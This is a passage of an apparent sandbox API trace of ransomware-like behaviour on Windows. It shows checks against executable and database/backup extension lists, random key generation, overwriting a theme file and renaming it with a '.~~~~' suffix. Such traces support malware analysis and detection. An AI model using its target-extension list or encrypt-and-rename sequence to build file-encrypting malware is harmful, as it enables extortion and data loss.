	[0083.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".lnk") returned 0x0
	[0083.596] lstrlenW (lpString=".msp") returned 4
	[0083.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".msp") returned 0x0
	[0083.596] lstrlenW (lpString=".pif") returned 4
	[0083.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".pif") returned 0x0
	[0083.596] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0083.597] lstrlenW (lpString=".sqb") returned 4
	[0083.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".sqb") returned 0x0
	[0083.597] lstrlenW (lpString=".ost") returned 4
	[0083.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".ost") returned 0x0
	[0083.597] lstrlenW (lpString=".txt") returned 4
	[0083.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".txt") returned 0x0
	[0083.597] lstrlenW (lpString=".mdt") returned 4
	[0083.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".mdt") returned 0x0
	[0083.597] lstrlenW (lpString=".BDB") returned 4
	[0083.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".BDB") returned 0x0
	[0083.597] lstrlenW (lpString=".eql") returned 4
	[0083.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".eql") returned 0x0
	[0083.597] lstrlenW (lpString=".DBF") returned 4
	[0083.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".DBF") returned 0x0
	[0083.597] lstrlenW (lpString=".EQL") returned 4
	[0083.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".EQL") returned 0x0
	[0083.597] lstrlenW (lpString=".FDB") returned 4
	[0083.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".FDB") returned 0x0
	[0083.597] lstrlenW (lpString=".EDB") returned 4
	[0083.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".EDB") returned 0x0
	[0083.597] lstrlenW (lpString=".DACPAC") returned 7
	[0083.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".DACPAC") returned 0x0
	[0083.597] lstrlenW (lpString=".VHD") returned 4
	[0083.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".VHD") returned 0x0
	[0083.597] lstrlenW (lpString=".DBV") returned 4
	[0083.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".DBV") returned 0x0
	[0083.597] lstrlenW (lpString=".dacpac") returned 7
	[0083.597] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".dacpac") returned 0x0
	[0083.597] lstrlenW (lpString=".sdf") returned 4
	[0083.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".sdf") returned 0x0
	[0083.598] lstrlenW (lpString=".accdb") returned 6
	[0083.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".accdb") returned 0x0
	[0083.598] lstrlenW (lpString=".DBX") returned 4
	[0083.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".DBX") returned 0x0
	[0083.598] lstrlenW (lpString=".MDT") returned 4
	[0083.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".MDT") returned 0x0
	[0083.598] lstrlenW (lpString=".SQB") returned 4
	[0083.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".SQB") returned 0x0
	[0083.598] lstrlenW (lpString=".vhd") returned 4
	[0083.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".vhd") returned 0x0
	[0083.598] lstrlenW (lpString=".bac") returned 4
	[0083.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".bac") returned 0x0
	[0083.598] lstrlenW (lpString=".mdf") returned 4
	[0083.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".mdf") returned 0x0
	[0083.598] lstrlenW (lpString=".BAK") returned 4
	[0083.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".BAK") returned 0x0
	[0083.598] lstrlenW (lpString=".BAC") returned 4
	[0083.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".BAC") returned 0x0
	[0083.598] lstrlenW (lpString=".dbs") returned 4
	[0083.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".dbs") returned 0x0
	[0083.598] lstrlenW (lpString=".vhdx") returned 5
	[0083.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".vhdx") returned 0x0
	[0083.598] lstrlenW (lpString=".NDF") returned 4
	[0083.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".NDF") returned 0x0
	[0083.598] lstrlenW (lpString=".dat") returned 4
	[0083.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".dat") returned 0x0
	[0083.598] lstrlenW (lpString=".DBS") returned 4
	[0083.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".DBS") returned 0x0
	[0083.598] lstrlenW (lpString=".CKP") returned 4
	[0083.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".CKP") returned 0x0
	[0083.598] lstrlenW (lpString=".edb") returned 4
	[0083.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".edb") returned 0x0
	[0083.598] lstrlenW (lpString=".PST") returned 4
	[0083.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".PST") returned 0x0
	[0083.598] lstrlenW (lpString=".dbf") returned 4
	[0083.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".dbf") returned 0x0
	[0083.599] lstrlenW (lpString=".SQL") returned 4
	[0083.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".SQL") returned 0x0
	[0083.599] lstrlenW (lpString=".pst") returned 4
	[0083.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".pst") returned 0x0
	[0083.599] lstrlenW (lpString=".dbv") returned 4
	[0083.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".dbv") returned 0x0
	[0083.599] lstrlenW (lpString=".SDF") returned 4
	[0083.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".SDF") returned 0x0
	[0083.599] lstrlenW (lpString=".dtxs") returned 5
	[0083.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".dtxs") returned 0x0
	[0083.599] lstrlenW (lpString=".db3") returned 4
	[0083.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".db3") returned 0x0
	[0083.599] lstrlenW (lpString=".OST") returned 4
	[0083.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".OST") returned 0x0
	[0083.599] lstrlenW (lpString=".dbx") returned 4
	[0083.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".dbx") returned 0x0
	[0083.599] lstrlenW (lpString=".DB3") returned 4
	[0083.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".DB3") returned 0x0
	[0083.599] lstrlenW (lpString=".DAT") returned 4
	[0083.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".DAT") returned 0x0
	[0083.599] lstrlenW (lpString=".VHDX") returned 5
	[0083.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".VHDX") returned 0x0
	[0083.599] lstrlenW (lpString=".ndf") returned 4
	[0083.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".ndf") returned 0x0
	[0083.599] lstrlenW (lpString=".DB") returned 3
	[0083.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".DB") returned 0x0
	[0083.599] lstrlenW (lpString=".sql") returned 4
	[0083.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".sql") returned 0x0
	[0083.599] lstrlenW (lpString=".MYD") returned 4
	[0083.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".MYD") returned 0x0
	[0083.599] lstrlenW (lpString=".DBT") returned 4
	[0083.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".DBT") returned 0x0
	[0083.600] lstrlenW (lpString=".ACCDB") returned 6
	[0083.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".ACCDB") returned 0x0
	[0083.600] lstrlenW (lpString=".fdb") returned 4
	[0083.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".fdb") returned 0x0
	[0083.600] lstrlenW (lpString=".bak") returned 4
	[0083.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".bak") returned 0x0
	[0083.600] lstrlenW (lpString=".myd") returned 4
	[0083.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".myd") returned 0x0
	[0083.600] lstrlenW (lpString=".DTXS") returned 5
	[0083.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".DTXS") returned 0x0
	[0083.600] lstrlenW (lpString=".ckp") returned 4
	[0083.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".ckp") returned 0x0
	[0083.600] lstrlenW (lpString=".dbt") returned 4
	[0083.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".dbt") returned 0x0
	[0083.600] lstrlenW (lpString=".db") returned 3
	[0083.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".db") returned 0x0
	[0083.600] lstrlenW (lpString=".TXT") returned 4
	[0083.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".TXT") returned 0x0
	[0083.600] lstrlenW (lpString=".MDF") returned 4
	[0083.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".MDF") returned 0x0
	[0083.600] lstrlenW (lpString=".bdb") returned 4
	[0083.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".bdb") returned 0x0
	[0083.600] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0083.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.600] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0083.601] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.601] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0083.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0083.601] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20359145233) returned 1
	[0083.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9ba9c2d0, dwHighDateTime=0x1d60e1e)) 
	[0083.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0083.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0083.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0083.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a22c0
	[0083.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a22c0 | out: hHeap=0x300000) returned 1
	[0083.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa5b0
	[0083.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa5b0 | out: hHeap=0x300000) returned 1
	[0083.602] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0083.602] GetLastError () returned 0x0
	[0083.602] GetLastError () returned 0x0
	[0083.602] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0083.602] GetLastError () returned 0x0
	[0083.602] GetLastError () returned 0x0
	[0083.604] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffdac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.604] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x254, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x254, lpOverlapped=0x0) returned 1
	[0083.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.604] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.604] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.604] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.604] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.604] CloseHandle (hObject=0x118) returned 1
	[0083.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f65e0
	[0083.604] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf.~~~~")) returned 1
	[0083.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f65e0 | out: hHeap=0x300000) returned 1
	[0083.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0083.607] GetLastError () returned 0x0
	[0083.607] RtlWakeConditionVariable () returned 0x365f70
	[0083.607] GetCurrentThreadId () returned 0xaf0
	[0083.607] GetCurrentThreadId () returned 0xaf0
	[0083.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0083.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6750 | out: hHeap=0x300000) returned 1
	[0083.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a22f8 | out: hHeap=0x300000) returned 1
	[0083.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6750
	[0083.607] lstrlenW (lpString=".scr") returned 4
	[0083.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0083.607] lstrlenW (lpString=".cmd") returned 4
	[0083.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0083.607] lstrlenW (lpString=".dll") returned 4
	[0083.607] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0083.607] lstrlenW (lpString=".bat") returned 4
	[0083.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0083.608] lstrlenW (lpString=".cpl") returned 4
	[0083.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0083.608] lstrlenW (lpString=".sys") returned 4
	[0083.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0083.608] lstrlenW (lpString=".msc") returned 4
	[0083.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0083.608] lstrlenW (lpString=".com") returned 4
	[0083.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0083.608] lstrlenW (lpString=".lnk") returned 4
	[0083.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0083.608] lstrlenW (lpString=".msp") returned 4
	[0083.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0083.608] lstrlenW (lpString=".pif") returned 4
	[0083.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0083.608] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0083.609] lstrlenW (lpString=".sqb") returned 4
	[0083.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0083.672] lstrlenW (lpString=".ost") returned 4
	[0083.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0083.672] lstrlenW (lpString=".txt") returned 4
	[0083.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0083.672] lstrlenW (lpString=".mdt") returned 4
	[0083.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0083.672] lstrlenW (lpString=".BDB") returned 4
	[0083.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0083.672] lstrlenW (lpString=".eql") returned 4
	[0083.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0083.672] lstrlenW (lpString=".DBF") returned 4
	[0083.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0083.672] lstrlenW (lpString=".EQL") returned 4
	[0083.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0083.672] lstrlenW (lpString=".FDB") returned 4
	[0083.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0083.672] lstrlenW (lpString=".EDB") returned 4
